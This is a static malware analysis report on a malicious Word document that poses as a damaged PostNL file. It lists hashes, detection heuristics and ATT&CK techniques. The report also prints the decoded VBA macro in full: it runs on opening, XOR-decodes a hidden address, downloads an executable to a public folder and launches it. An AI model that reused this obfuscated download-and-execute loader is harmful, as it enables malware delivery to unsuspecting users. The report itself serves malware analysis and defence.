Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89b80cdaea787b19…

MALICIOUS

Office (OLE)

50.5 KB Created: 2018-04-10 17:22:00 First seen: 2019-05-31
MD5: e50629bfa43cc208e4e19e25b433df4f SHA-1: 00e4478befd06a8e028e87c13e342a2fca4f5a9a SHA-256: 89b80cdaea787b19493c45577cf66f80bf3163dc606ec5fcead5b20dfe17474b
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros designed to execute upon opening, indicated by the AutoOpen function and CreateObject calls. The script attempts to display a "damaged document" message and prompts the user to contact 'PostNL', a common lure for phishing. The presence of a password-protected archive handoff heuristic suggests the document is intended to deliver a payload, likely after the user provides a password or interacts further.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6502068-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6502068-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3273 bytes
SHA-256: 319db8bba97bd34b9cbf2ab043e7cc9b8ac213987fc4522ca40ba1e773d43257
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qd7E8B"
Public Function qVhC8eSVmeRm4jgk(ByRef EKV95y4GMsS86WH As String, ByRef inUhtfYj42WTU08 As String) As String
Dim GtjXJgAwYAabxQLU() As Byte
Dim VNSm0fCwEqnaHj() As Byte
Dim ZkPNkaZiNlo8AhS As Long
Dim DdSsi7D7OImxwSc2jp As Long
Dim qa0Llqu40Dv8 As Long
Dim tfedAHVsjlbnBF As Long
GtjXJgAwYAabxQLU = StrConv(EKV95y4GMsS86WH, vbFromUnicode)
VNSm0fCwEqnaHj = StrConv(inUhtfYj42WTU08, vbFromUnicode)
ZkPNkaZiNlo8AhS = UBound(GtjXJgAwYAabxQLU)
DdSsi7D7OImxwSc2jp = UBound(VNSm0fCwEqnaHj)
For qa0Llqu40Dv8 = 0 To ZkPNkaZiNlo8AhS
GtjXJgAwYAabxQLU(qa0Llqu40Dv8) = GtjXJgAwYAabxQLU(qa0Llqu40Dv8) Xor VNSm0fCwEqnaHj(tfedAHVsjlbnBF)
If tfedAHVsjlbnBF < DdSsi7D7OImxwSc2jp Then
tfedAHVsjlbnBF = tfedAHVsjlbnBF + 1
Else
tfedAHVsjlbnBF = 0
End If
Next qa0Llqu40Dv8
qVhC8eSVmeRm4jgk = StrConv(GtjXJgAwYAabxQLU, vbUnicode)
End Function
Sub RemovePicture()
Dim tdWEkgTdGaCKB8N As InlineShape
For Each tdWEkgTdGaCKB8N In ActiveDocument.InlineShapes
tdWEkgTdGaCKB8N.Delete
Next tdWEkgTdGaCKB8N
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
End Sub
Sub AutoOpen()
Dim TWENTY7498  As String
TWENTY7498 = "_@MHD   _@MHD   G[JLYX^]Z]JL WVU DVKCZULEUZSRF ]OQ"
RemovePicture
LoadText ("Dit document is beschadigd. Neem contact op met PostNL.") & Chr(11)
Dim hG9MPPGVTRUh1FMDN As String
hG9MPPGVTRUh1FMDN = qVhC8eSVmeRm4jgk(TWENTY7498, "7498")
sLuEyW.yPtb3yVhqJWrv2S (hG9MPPGVTRUh1FMDN)
End Sub

Attribute VB_Name = "sLuEyW"
Attribute VB_Base = "0{81709EDA-E4F2-4382-BFE5-FC34484331AD}{532BB99D-3034-4BC3-AE44-1F8FCB3BC6E1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Const yegQusETLCc27m8 As Integer = 0
Const hG9MPPGVTRUh1FMDN As String = "t.Sh"
Function yPtb3yVhqJWrv2S(ByVal IKyGJslwXp147k3 As String)
Dim THIRTYqVhC8eSVmeRm4jgk As Object, THIRTY7498 As Long, ESBxOWGEPWdWwC3Y7zSq() As Byte
SVYhvc9Kjvxf7gvh6v = Chr(120)
iejQGHRC6wCL989t = Chr(101)
Dim oj7dDwX5eeh8YPQW As String
oj7dDwX5eeh8YPQW = qVhC8eSVmeRm4jgk("pqm", "7498")
nsaNuFkdr2Gnvlj = "C:\Users\Public\PostNL." & iejQGHRC6wCL989t & SVYhvc9Kjvxf7gvh6v & iejQGHRC6wCL989t
Set THIRTYqVhC8eSVmeRm4jgk = CreateObject("MSXML2.XMLHTTP")
THIRTYqVhC8eSVmeRm4jgk.Open oj7dDwX5eeh8YPQW, IKyGJslwXp147k3, False
THIRTYqVhC8eSVmeRm4jgk.Send
Do While THIRTYqVhC8eSVmeRm4jgk.readyState <> 4
DoEvents
Loop
ESBxOWGEPWdWwC3Y7zSq = THIRTYqVhC8eSVmeRm4jgk.responseBody
THIRTY7498 = FreeFile
If Dir(nsaNuFkdr2Gnvlj) <> "" Then Kill nsaNuFkdr2Gnvlj
Open nsaNuFkdr2Gnvlj For Binary As #THIRTY7498
Put #THIRTY7498, , ESBxOWGEPWdWwC3Y7zSq
Close #THIRTY7498
Set THIRTYqVhC8eSVmeRm4jgk = Nothing
Dim WLIzHGTRQtfMIX: Set WLIzHGTRQtfMIX = VBA.CreateObject(qVhC8eSVmeRm4jgk("`GZJ^DM d\\T[", "7498"))
WLIzHGTRQtfMIX.Run nsaNuFkdr2Gnvlj, yegQusETLCc27m8, True
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.